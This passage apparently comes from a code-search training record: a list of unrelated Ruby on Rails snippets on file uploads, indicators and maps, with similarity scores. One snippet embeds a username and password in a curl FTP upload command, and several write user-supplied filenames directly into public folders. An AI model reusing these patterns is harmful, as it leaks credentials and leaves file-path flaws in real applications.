'fileutils'\n\n # Ensure public/maps exists\n FileUtils::mkdir_p \"public/maps\"\n\n directory = \"public/maps.tmp\"\n # Ensure a blank maps.tmp directory exists\n FileUtils.rm_rf directory\n FileUtils::mkdir_p directory\n\n # Copy the existing maps into that directory\n # (to support the case where the user is updating maps and doesn't specify\n # all of the existing maps.)\n FileUtils.cp_r 'public/maps/.', directory\n\n # Copy uploaded files to maps.tmp, overriding any old maps that were\n # just copied in the line above.\n params[:uploaded_map].each do |map|\n path = File.join(directory, \"floor\" + map[0].to_s + \".svg\")\n File.open(path, \"wb\") { |f| f.write(map[1].read) }\n end\n\n notice = \"Maps were successfully uploaded.\"\n $MAP_DATE = Time.now.to_i\n else\n error = \"Error uploading SVG map\"\n end # unless uploaded_map.blank?\n\n respond_to do |format|\n format.html {\n redirect_to action: \"index\",\n error: error,\n notice: notice\n }\n end\n end", "def filename\n files = Hash.new\n filenames = Dir.glob('/home/vagrant/register-stub/data/*.json')\n filenames.foreach(\".\") do |file|\n puts file\n files[file].add file\n end\n return files.to_json\nend", "def add(key_file); end", "def bulk_download_response(study_files)\n response = {}\n study_files.each do |study_file|\n file_type = study_file.simplified_file_type\n response[file_type] ||= {total_files: 0, total_bytes: 0}\n response[file_type][:total_files] += 1\n response[file_type][:total_bytes] += study_file.upload_file_size\n end\n response.with_indifferent_access\nend", "def create\n\n if Key.where(role: \"admin\").pluck(:key).include? params[:key]\n\n @flatfile = Flatfile.new(flatfile_params)\n\n if @flatfile.save\n render json: @flatfile, status: :created # , location: @flatfile # Don't need this location argument, since we don't want to redirect, see here: https://stackoverflow.com/questions/56917332/how-to-stop-redirect-after-post-create-in-rails-api-nomethoderror-undefined-m\n # https://stackoverflow.com/questions/23582389/rails-nomethoderror-undefined-method-url-for-controller-i-cant-seem-to-res\n \n else\n render json: @flatfile.errors, status: :unprocessable_entity\n end\n\n else \n render json: \"Unauthorized\"\n end # End key if statement\n\n end", "def upload_new_image_file(detection_flags, image = {})\n @client.post \"/service_json_ssl.svc/UploadNewImage_File\", {detection_flags:detection_flags,imagefile_data:image[:data],original_filename:image[:original_filename]}\n end", "def archive_file_ids\n archive = File.open('drive_file_ids.json', 'w')\n File.write('drive_file_ids.json', @file_ids.to_json)\n archive.close\n end", "def add_index_maps(layer, druid, rootdir)\n doc = Nokogiri::XML(File.read(File.join(rootdir, 'metadata', 'contentMetadata.xml')))\n return unless doc.search('//file[@id=\\'index_map.json\\']').length > 0\n\n refs = JSON.parse(layer.metadata['dct_references_s'])\n refs['https://openindexmaps.org'] = \"#{Settings.stacks.url}/file/druid:#{druid}/index_map.json\"\n layer.metadata['dct_references_s'] = refs.to_json\n end", "def import\n Map.import(params[:file])\n end", "def files\n @files=get_endpoint('extra').keys\n end", "def metadata_ingest_files\n return if params[:metadata_ingest_files].blank?\n params[:metadata_ingest_files].map do |metadata|\n metadata = JSON.parse(metadata, symbolize_names: true)\n file = Valkyrie::StorageAdapter.find_by(id: metadata[:id])\n PendingUpload.new(\n id: SecureRandom.uuid,\n storage_adapter_id: file.id,\n created_at: Time.current,\n file_name: metadata[:filename],\n type: metadata[:type]\n )\n rescue\n nil\n end.compact\n end", "def create\n @results = []\n\n unless params[:files].nil?\n params[:files].each do |data|\n img = Image.new\n img.filename = data.original_filename\n img.data = data.read\n img.upload_id = params[:uuid]\n img.visitation_form_id = params[:formId]\n img.image_type = params[:imageType]\n img.content_type = data.content_type\n #img.temp_index = params[:birdIndex]\n img.bird_id = params[:birdId]\n\n if !img.save\n render :json => { :errors => img.errors.full_messages }, :status => 400 and return\n else\n @results << { name: img.filename, imageType: img.image_type, id: img.id }\n end\n end\n end\n\n render json: { files: @results }\n end", "def postMultipackMap_pin( multipack_id, filedata, mapPinOffsetX, mapPinOffsetY)\n params = Hash.new\n params['multipack_id'] = multipack_id\n params['filedata'] = filedata\n params['mapPinOffsetX'] = mapPinOffsetX\n params['mapPinOffsetY'] = mapPinOffsetY\n return doCurl(\"post\",\"/multipack/map_pin\",params)\n end", "def create\n files = params[:files]\n\n files.each do |file|\n\n filename = file.original_filename\n\n # Rack uploads have `#tempfiles` and test uploads are Tempfile objects. More\n # investigation required.\n file = file.tempfile if file.respond_to?(:tempfile)\n\n UploadStore.create(\n :key => filename,\n :body => file,\n :public => true\n )\n end\n\n render json: {status: 'success'}\n end", "def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end", "def create\n\n if current_user.nil?\n redirect_to '/'\n end\n\n if(params[\"labels\"].nil?)\n respond_to do |format|\n format.html { redirect_to image_label_sets_url, error: 'Labels not present.' }\n end\n return\n end\n\n @image_label_set = ImageLabelSet.new\n @image_label_set.name = params[\"name\"]\n @image_label_set.user_id = current_user.id\n save_success = @image_label_set.save\n\n params[\"labels\"].split(\",\").each do |l|\n lb = Label.new\n lb.text = l\n lb.image_label_set_id = @image_label_set.id\n lb.save\n end\n\n images_folder_path = Rails.root.join('public', \"images/#{@image_label_set.id}\")\n FileUtils::mkdir_p images_folder_path\n\n accepted_formats = [\".jpg\", \".png\", \".bmp\"]\n\n params[\"upload\"].each do |uf|\n #Check if zipfile, raw images or URL textfile\n if (File.extname(uf.tempfile.path)==\".txt\")\n Image.transaction do\n File.readlines(uf.tempfile.path).each do |line|\n i = Image.new\n i.url = line.strip\n i.image_label_set_id = @image_label_set.id\n i.save\n end\n end\n end\n uf.tempfile.close\n uf.tempfile.unlink\n end\n\n respond_to do |format|\n if save_success\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully created.' }\n format.json { render :show, status: :created, location: @image_label_set }\n else\n format.html { render :new }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_file_batch(files, new_obj_id)\n url = \"#{@base_url}/api/v2/files/#{new_obj_id}/create_batch\"\n resp = api_post_json(url, files.to_json)\n if resp.code != '201'\n @log.write(\"Error saving #{files.count} files #{files[0]['identifier']}...\\n\")\n @log.write(files.inspect)\n @log.write(\"\\n\" + resp.body + \"\\n\")\n #exit(1)\n end\n end", "def create\n @upload = Upload.new(params[:upload]) \n\n respond_to do |format|\n if @upload.save\n\n @id = @upload.id\n calib_path, inten_path = get_paths(id)\n @calib_data, @calib_data_transpose, @cell_counts = import(calib_path)\n @calib_probe = import_ori(inten_path) \n\n #probe list of the uploaded file\n @probe_list = calib_data_transpose[0]\n \n flash[:notice] = \"Files were successfully uploaded!!\"\n format.html { render \"normalize\" }\n #format.js #{ render json: @upload, status: :created, location: @upload }\n else\n flash[:notice] = \"Error in uploading!!\"\n format.html { render action: \"index\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @indicator = Indicator.new(indicator_params)\n\n respond_to do |format|\n if @indicator.save\n format.html { redirect_to @indicator, notice: 'Indicator was successfully created.' }\n format.json { render action: 'show', status: :created, location: @indicator }\n else\n format.html { render action: 'new' }\n format.json { render json: @indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @indicator = Indicator.new(indicator_params)\n\n respond_to do |format|\n if @indicator.save\n format.html { redirect_to indicators_url, notice: 'El indicador fue creada con exitó.' }\n format.json { render :show, status: :created, location: @indicator }\n else\n format.html { render :new }\n format.json { render json: @indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def classify_key(data, filename); end", "def save_file_values\n parent = @dataset.parent\n\n @values.fetch(:file_values).each do |file_key, value_map|\n parent_file = parent.public_send(file_key)\n\n any_changes = value_map.any? do |cell, value|\n # Only includes values which are significantly different from the default. This may not\n # be future-proof, but at the time of writing we only edit carriers for which 4DP is\n # sufficient.\n #\n # See https://github.com/quintel/etlocal/issues/315\n value.round(4) != parent_file.get(cell.row, cell.column).round(4)\n end\n\n next unless any_changes\n\n basename = parent_file.path.relative_path_from(parent.dataset_dir)\n\n create_file_from_parent(\n parent_file.path,\n @dataset.dataset_dir.join(basename),\n value_map\n )\n end\n end", "def create\n @indicator_set = IndicatorSet.new(params[:indicator_set])\n\n respond_to do |format|\n if @indicator_set.save\n format.html { redirect_to @indicator_set, notice: 'Indicator set was successfully created.' }\n format.json { render json: @indicator_set, status: :created, location: @indicator_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @indicator_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def data_files\n bag.bag_files.map {|f| Pathname.new(f) }\n end", "def files(trading_partner_id, filename)\n scope 'default'\n url = URI.parse(@api_url + '/files/')\n\n File.open(filename) do |f|\n req = Net::HTTP::Post::Multipart.new url.path,\n 'file' => UploadIO.new(f, 'application/EDI-X12', filename),\n 'trading_partner_id' => trading_partner_id\n req['Authorization'] = \"Bearer #{default_scope.token}\"\n req['User-Agent'] = user_agent\n\n @response = Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end\n end\n\n JSON.parse(@response.body)\n end", "def create\n @indication_generic_map = IndicationGenericMap.new(indication_generic_map_params)\n\n respond_to do |format|\n if @indication_generic_map.save\n format.html { redirect_to @indication_generic_map, notice: 'Indication generic map was successfully created.' }\n format.json { render :show, status: :created, location: @indication_generic_map }\n else\n format.html { render :new }\n format.json { render json: @indication_generic_map.errors, status: :unprocessable_entity }\n end\n end\n end", "def handle_new_datafiles(datafile_ids)\n datafiles = self.sender.filemanager.datafiles.where(:id => datafile_ids.map(&:to_i))\n add_datafiles(datafiles)\n add_permissions_for(datafiles)\n self\n end", "def save_keys\n #TODO: add worker id to filename\n filename = \"#{@key_prefix}_pages.#{Time.now.getutc.to_s.gsub(/\\s/,'').gsub(/:/,\"-\") }.jsons.gz\"\n Zlib::GzipWriter.open(filename) do |gz|\n keys.each do |k| \n gz.write @pages[k]\n gz.write \"\\n\"\n end\n end\n\n return keys, filename\n\n end", "def import_indicators(indicators)\n log \"Importing indicators.\"\n indicators.map do |indicator|\n FundamentalAttribute.create(\n label: indicator.label,\n name: indicator.title,\n description: indicator.description\n ) unless lookup_fundamental_attribute(indicator.label)\n end\n end", "def files_map(files)\n files.\n map do |file|\n {\n id: file[:id],\n uid: file[:uid],\n title: file[\"title\"],\n path: file[:file_path],\n }\n end\n end", "def batch_import_params\n params.permit(:file)\n end", "def destroy\n year = @key_indicate_map_indicator_file['year'].to_s\n KeyIndicateMap::IndicatorKey.each{|key|\n if !key['history'].nil? && !key['history'][year].nil?\n attrs = {:history => key['history'].reject{|key, value| key == year }}\n key.update_attributes(attrs)\n end\n }\n @key_indicate_map_indicator_file.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :destroy }\n end\n end", "def create\n @user_file_mapping = UserFileMapping.new(user_file_mapping_params)\n\n respond_to do |format|\n if @user_file_mapping.save\n format.html { redirect_to @user_file_mapping, notice: 'User file mapping was successfully created.' }\n format.json { render :show, status: :created, location: @user_file_mapping }\n else\n format.html { render :new }\n format.json { render json: @user_file_mapping.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_file_mapping_params\n params.require(:user_file_mapping).permit(:file_id, :user_id, :file_name)\n end", "def base_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n data = notey_notey_params['data']\n\n uri = \"/notebooks/#{course}_#{file}\"\n File.open(uri, 'wb') do |f|\n f.write(data)\n end\n render json: { result: true }\n end", "def indication_generic_map_params\n params.require(:indication_generic_map).permit(:indication_id, :generic_id, :data_source_id, :status)\n end", "def create_image_files_where_needed()\n @file_info.data.each do |line|\n uri, filename = line\n process_file_info(uri, filename)\n end\n end", "def upload\n validate_documents_content_type\n validate_documents_page_size\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(id: params[:id],\n source_name: source_name)\n power_of_attorney.set_file_data!(documents.first, params[:doc_type])\n power_of_attorney.status = 'submitted'\n power_of_attorney.save!\n power_of_attorney.reload\n ClaimsApi::VBMSUploadJob.perform_async(power_of_attorney.id)\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end", "def destroy\n @key_indicate_map_indicator.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_map_indicators_url, notice: 'Indicator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n file = Marker.new\n watermarked = file.watermark(marker_params)\n\n send_file(watermarked)\n end", "def create\n @treq = Treq.new(params[:treq])\n \n respond_to do |format|\n if @treq.save\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n TreqNotifier.submit_treq(@treq).deliver\n format.html { redirect_to @treq, notice: 'Treq was successfully created.' }\n format.json { render json: @treq, status: :created, location: @treq }\n else\n format.html { render action: \"new\", alert: \"Test Requset has been submitted.\"}\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def stage_json(file_path)\n file_dir, filename = File.split(file_path)\n relative_dir_path = file_dir.gsub(%r{^#{@metrics_dir}/}, \"\")\n destination_dir = \"#{@staging_dir}/#{relative_dir_path}\"\n FileUtils.mkdir_p(destination_dir) unless File.directory?(destination_dir)\n FileUtils.cp(file_path, \"#{destination_dir}/#{filename}\")\n end", "def create\n @key_indicate_dictionary = KeyIndicate::Dictionary.new(key_indicate_dictionary_params)\n\n respond_to do |format|\n if @key_indicate_dictionary.save\n format.html { redirect_to @key_indicate_dictionary, notice: 'Dictionary was successfully created.' }\n format.json { render :show, status: :created, location: @key_indicate_dictionary }\n else\n format.html { render :new }\n format.json { render json: @key_indicate_dictionary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_upload_files(record)\n return unless record.mapper.respond_to?(:files)\n files_to_attach = record.mapper.files\n return [] if files_to_attach.nil? || files_to_attach.empty?\n\n uploaded_file_ids = []\n files_to_attach.each do |filename|\n file = File.open(find_file_path(filename))\n uploaded_file = Hyrax::UploadedFile.create(user: depositor, file: file)\n uploaded_file_ids << uploaded_file.id\n file.close\n end\n uploaded_file_ids\n end", "def save_postcodes_file\n file = open(DOWNLOAD_URL)\n result_files_paths = []\n Zip::File.open(file) do |zip_file|\n zip_file.each do |f|\n fpath = File.join(POSTCODES_FILE_PATH, f.name)\n zip_file.extract(f, fpath){ true }\n result_files_paths << fpath\n end\n end\n result_files_paths\n end", "def post_file_and_give_me_a_json(additional_path, file_path)\n if self.service_base_path != nil\n message = \"{error: \\\"File not found.\\\"}\"\n File.open(file_path) do |file|\n body = { 'arquivo' => file }\n message = self.http_client.post \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json?api_key=#{self.access_token}\", body\n end\n trata_erro(message.content)\n end\n end", "def create\n if(params[:incId]).present?\n @incident = Incident.find(params[:incId])\n @incident.report_type = params[:incident][:report_type] \n @incident.your_name = params[:incident][:your_name]\n @incident.job_title = params[:incident][:job_title]\n @incident.injury_date = params[:incident][:injury_date]\n @incident.injury_time = params[:incident][:injury_time]\n @incident.witnesses = params[:incident][:witnesses]\n @incident.location =params[:incident][:location]\n @incident.circumstances = params[:incident][:circumstances]\n @incident.event_discription = params[:incident][:event_discription]\n @incident.injuries_type =params[:incident][:injuries_type]\n @incident.ppe_used =params[:incident][:ppe_used]\n @incident.medical_assistance_provided =params[:incident][:medical_assistance_provided]\n else\n @incident = @project.incidents.build(incident_params)\n end\n\n\n \n respond_to do |format|\n if @incident.save\n if params[:files]\n params[:files].each { |image|\n @incident.incidents_files.create(file: image, incident_id: @incident.id)\n }\n end\n @incident.cn = true\n @incident.save!\n incidents = @project.incidents.where(cn: false)\n incidents.destroy_all if incidents.present?\n format.html { redirect_to projects_path({inc: @incident.id}), notice: 'Incident was successfully created.' }\n format.json { render json: {incident_id: @incident.id} } \n # format.json { render action: 'show', status: :created, location: @incident }\n else\n format.html { render action: 'new' }\n format.json { render json: :true}\n # format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend", "def save_shapefiles\n\t\t@files = []\n\n\t\[email protected] do |file|\n\t\t\tshapefile = file.tempfile.read\n\t\t\tshapefile_name = file.original_filename\n\t\t\t@files << shapefile_name\n\t\t\tFile.open(File.join(Rails.root, 'tmp', shapefile_name), 'wb') { |f| f.write shapefile }\n\t\tend\n\tend", "def create_modified_bmp(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, 'File')\n end", "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "def import \n NewBiosensor.import(params[:file])\n redirect_to root_url, notice: \"Biosensors imported\" \n end", "def make_files(targets)\n file_pairs = targets.map { |t| \n filename = sanitize_filename(t[:data][:name] + '.json')\n [filename, t]\n }\n unique_pairs = uniqufy(file_pairs)\n unique_pairs.each do |name, content| \n puts \"Write #{File.absolute_path(name)}\"\n File.open(name, 'w') { |file| file.write(JSON.pretty_generate(content)) }\n end\nend", "def file_operation_params\n params.require(:file_operation).permit(:file_path, :status, :job_class, :user_type, :user_id, :info)\n end", "def store_files(uuids)\n Uploadcare::FileList.batch_store(uuids)\n end", "def pin_attachment_params\n params.require(:pin_attachment).permit(:pin_id, :pictures)\n end", "def import_cat1_zip(zip, patient_id_file_map)\n Zip::ZipFile.open(zip.path) do |zip_file|\n zip_file.entries.each do |entry|\n # Use ApiMeasureEvaluator to build nokogiri document\n doc = @apime.build_document(zip_file.read(entry))\n patient_id = import_cat1_file(doc)\n patient_id_file_map[entry.name] = patient_id\n end\n end\n end", "def new_files; end", "def key_indicate_dictionary_params\n params.require(:key_indicate_dictionary).permit(:title, :dictionary_file_id, :description)\n end", "def upload_upload(directory:, files:)\n upload_files = {multipart: true}\n files.each {|f| upload_files[f] = File.open(f, 'rb')}\n r = aptly_request 'POST', \"api/files/#{directory}\", payload: upload_files\n JSON.parse(r.body)\n end", "def create\n data = []\n trace_params.each do |p|\n hash = {\n latitude: p[\"latitude\"],\n longitude: p[\"longitude\"]\n }\n data << hash\n end\n\n if Trace.upload_data(data)\n render json: {status: 'OK'}\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end", "def fa_request(fn, name, *_)\n ix = convert_integer(fn, \"!File number\")\n @files[ix] = {name: name.sub(/^\\*/,''), path: get_file_name(name), number: ix}\n end", "def request_files\n @request_files ||= begin\n return {} unless request_dro.structural\n\n request_dro.structural.contains.map do |file_set|\n file_set.structural.contains.map do |file|\n [file.filename, file]\n end\n end.flatten(1).to_h\n end\n end", "def indicator_params\n params.require(:indicator).permit(:objective_id, :aclarar, :variable, :indicador, :tipo)\n end", "def create\n all_saved = false\n if params[:tunning_diagram] && file = params[:tunning_diagram][:archive]\n if file.original_filename =~ /\\.zip$/i\n require 'zip/zipfilesystem'\n extract_path = Rails.root.join('public', 'tmp', Digest::MD5.hexdigest(file.original_filename))\n FileUtils.rm_rf(extract_path)\n FileUtils.mkdir_p(extract_path)\n Zip::ZipFile.open(file.tempfile) do |zip| \n all_saved = zip.select{|zipfile| zipfile.name =~ /\\.(jpg|jpeg)$/i}.map do |zipfile|\n f_path = File.join(extract_path, zipfile.name)\n zipfile.extract(f_path)\n File.open(f_path = File.join(extract_path, zipfile.name), 'r+') do |f| \n f_name = zipfile.name.split('.')[0].upcase\n td = TunningDiagram.where(hilt_no: f_name).first || TunningDiagram.new(hilt_no: f_name)\n td.archive = f\n td.save\n end\n end \n end\n FileUtils.rm_rf(extract_path)\n elsif file.original_filename =~ /\\.(jpg|jpeg)$/i\n f_name = file.original_filename.split('.')[0]\n td = TunningDiagram.where(hilt_no: f_name).first || TunningDiagram.new(hilt_no: f_name)\n td.archive = file \n all_saved = td.save\n end\n end\n respond_to do |format|\n if all_saved\n format.html { redirect_to @tunning_diagram, notice: I18n.t('controllers.create_success', name: @tunning_diagram.class.model_name.human) }\n format.json { render json: @tunning_diagram, status: :created, location: @tunning_diagram }\n format.xml { render xml: @tunning_diagram, status: :created, location: @tunning_diagram }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tunning_diagram.errors, status: :unprocessable_entity }\n format.xml { render xml: @tunning_diagram.errors, status: :unprocessable_entity }\n end\n end\n end", "def store_files(detail_file_path)\n destination_dir = File.join(\"files\", \"clearinghouse_request\", id.to_s, \"receive\")\n log \"Storing files for later use(#{detail_file_path}) to #{destination_dir}\"\n source_dir = File.dirname(detail_file_path)\n update_attribute(:detail_report_filename, File.basename(detail_file_path))\n FileUtils.mkdir_p(destination_dir)\n all_files = nsc.interpolate_file_names_from_detail_file_path(detail_file_path)\n copied_files = []\n for file_name in all_files\n source_path = File.join(source_dir, file_name)\n if File.exists?(source_path)\n store_permanently!(source_path)\n end\n end\n log \"done\"\n files\n end", "def discover_files\n authorize! :create, resource_class\n respond_to do |f|\n f.json do\n render json: file_locator.to_h\n end\n end\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def files_post(file, opts = {})\n files_post_with_http_info(file, opts)\n end", "def create\n @incidentfile = Incidentfile.new(incidentfile_params)\n\n respond_to do |format|\n if @incidentfile.save\n format.html { redirect_to @incidentfile, notice: 'Incidentfile was successfully created.' }\n format.json { render :show, status: :created, location: @incidentfile }\n else\n format.html { render :new }\n format.json { render json: @incidentfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_json(dir)\n save_json_one(dir, country_data, 'country')\n save_json_one(dir, us_state_data,'us_state')\n save_json_one(dir, us_metro_data, 'us_metro')\n save_json_one(dir, us_county_data, 'us_county')\n\n bn = File.basename(dir)\n dn = File.dirname(dir)\n\n\n puts \"Uploading json data\"\n Dir[File.join(dir,'*.json')].each do |path|\n bn = File.basename(path)\n dn = File.dirname(path)\n cmd = \"curl -u '[email protected]:Pp[31415926]' --ftp-create-dirs -s -T #{dn}/#{bn} ftp://160.153.91.2/standalone/#{bn}\"\n r = `#{cmd} 2>&1`.chomp\n r = ' - ERRORS: ' + r unless r.empty?\n puts \" #{bn}#{r}\"\n end\n end", "def service_request_params\n params.require(:service_request).permit(:additional_notes, :user_id, :status, {image: []})\n end", "def create\n @indexed_file = IndexedFile.new(params[:indexed_file])\n\n respond_to do |format|\n if @indexed_file.save\n format.html { redirect_to @indexed_file, notice: 'Indexed file was successfully created.' }\n format.json { render json: @indexed_file, status: :created, location: @indexed_file }\n else\n format.html { render action: \"new\" }\n format.json { render json: @indexed_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def bulk_upload_images\n submissions = []\n params[:file].each do |key, image|\n registration_params = permitted_params.merge(image: image)\n \n @registration = Registration.new(registration_params)\n\n if @registration.save\n submissions << \"Image number #{key.to_i + 1}, upload sucessful\"\n else\n submissions << \"Image number #{key.to_i + 1}, upload unsucessful: #{@registration.errors.messages}\"\n end\n end\n submissions\n end", "def incidentfile_params\n params.require(:incidentfile).permit(:incident_id, :filetype, :state)\n end", "def _upload(api_key, file) \n url = Client.site + \"/upload.json\"\n params = { \"api_key\" => api_key, \"api_method\" => \"ruby\", \"id\" => id.to_s, \"file\" => file }\n resp = HTTPClient.post url, params \n JSON.parse(resp.content)\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def create\n @shipment_file = ShipmentFile.new(shipment_file_params)\n @shipment_file.user = current_user\n @shipment_file.filename = @shipment_file.file_url.filename\n if @shipment_file.save\n @export = ShipmentFile::DetailExport.new(shipment_file: @shipment_file.id).insert_details_transaction\n if @export[:valid]\n redirect_to shipment_files_url\n check_mapped_other unless @export[:mapped_other].blank?\n flash[:success] = \"Shipment File was successfully uploaded\"\n mutiple_sheets(@shipment_file.file_url.path)\n else\n render_errors(@export[:errors])\n end\n else\n render_errors(@shipment_file.errors.full_messages)\n end\n end", "def census_plus_datum_params\n params.permit(:file, :user_id)\n end", "def update\n @file = @map.meta_data\n # binding.pry\n\n @meta_data = []\n @kind = @map.kind\n fips_to_hc_key\n @map.meta_data = @meta_data\n\n respond_to do |format|\n if @map.update(map_params)\n format.html { redirect_to @map, notice: 'Map was successfully updated.' }\n format.json { render :show, status: :ok, location: @map }\n else\n format.html { render :edit }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end", "def img_signal_params\n params.permit(:file)\n end", "def update_file_level_data!(key_val_pairs)\n # Create corresponding data.json file if it doesn't exist yet\n cdjf = corresponding_data_json_file(true)\n cdjf.update_data!(key_val_pairs)\n end" ]
[ "0.70102364", "0.69004107", "0.6490646", "0.6423121", "0.62466806", "0.5724219", "0.56532186", "0.55923367", "0.55429876", "0.5466905", "0.54266614", "0.54100823", "0.53066623", "0.5304282", "0.52869374", "0.5243609", "0.5232075", "0.50919414", "0.5084649", "0.5079669", "0.50781333", "0.5070595", "0.50442654", "0.50122154", "0.49842918", "0.49837297", "0.49793488", "0.49762633", "0.49292126", "0.49251208", "0.4912644", "0.49124998", "0.49059853", "0.4899071", "0.4895457", "0.48883808", "0.4887103", "0.48683083", "0.48416716", "0.48404974", "0.48210412", "0.4813086", "0.48103973", "0.4807122", "0.48009917", "0.4785612", "0.47825664", "0.47678787", "0.4764939", "0.47535816", "0.47477123", "0.4741716", "0.47234324", "0.4708275", "0.46990722", "0.46905875", "0.46875444", "0.46688852", "0.46681", "0.46678463", "0.46439847", "0.4636374", "0.46351877", "0.4634435", "0.46329212", "0.46271726", "0.46243572", "0.46201098", "0.4619748", "0.4618297", "0.46114478", "0.46083984", "0.46009392", "0.4599326", "0.45978948", "0.4597702", "0.4596279", "0.4586342", "0.45839524", "0.45802703", "0.45658612", "0.4561426", "0.45602265", "0.45581436", "0.45547363", "0.45470557", "0.454312", "0.45405853", "0.45389748", "0.45365608", "0.45364437", "0.4536312", "0.45312434", "0.45302835", "0.45302835", "0.45251983", "0.45235294", "0.45221817", "0.452023", "0.45181158" ]
0.6845506
2
PATCH/PUT /key_indicate_map/indicator_files/1 PATCH/PUT /key_indicate_map/indicator_files/1.json
def update if key_indicate_map_indicator_file_params[:year] year = @key_indicate_map_indicator_file.year.to_s KeyIndicateMap::IndicatorKey.each{|key| if key['history'] && key['history'][year] attrs = key['history'].reject{|key, value| key == year } attrs[key_indicate_map_indicator_file_params[:year]] = key['history'][year] key.update_attributes({:history => attrs}) end } end respond_to do |format| if @key_indicate_map_indicator_file.update(key_indicate_map_indicator_file_params) format.js {} format.json { head :no_content, status: :updated } else format.html { render :edit } format.json { render json: @key_indicate_map_indicator_file.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @key_indicate_map_indicator.update(key_indicate_map_indicator_params)\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully updated.' }\n format.json { render :show, status: :ok, location: @key_indicate_map_indicator }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator_key.update(key_indicate_map_indicator_key_params)\n format.html { redirect_to key_indicate_map_indicator_keys_path, notice: 'Indicator key was successfully updated.' }\n format.json { render :index, status: :ok, location: key_indicate_map_indicator_keys_path }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_key.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_key_indicate_map_indicator_file\n @key_indicate_map_indicator_file = KeyIndicateMap::IndicatorFile.find(params[:id])\n end", "def update\n @file = @map.meta_data\n # binding.pry\n\n @meta_data = []\n @kind = @map.kind\n fips_to_hc_key\n @map.meta_data = @meta_data\n\n respond_to do |format|\n if @map.update(map_params)\n format.html { redirect_to @map, notice: 'Map was successfully updated.' }\n format.json { render :show, status: :ok, location: @map }\n else\n format.html { render :edit }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(uuid, key, value)\n put(uri: \"/files/#{uuid}/metadata/#{key}/\", content: value.to_json)\n end", "def key_indicate_map_indicator_file_params\n params.require(:key_indicate_map_indicator_file).permit(:title, :description, :year, :town, :old_town, :indicator_key, :old_key)\n end", "def update\n respond_to do |format|\n if @indicator.update(indicator_params)\n format.html { redirect_to @indicator, notice: 'Indicator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end", "def update\n params[:dictionary].each{|key, value|\n indicator = KeyIndicate::DictionaryKey.find(key)\n 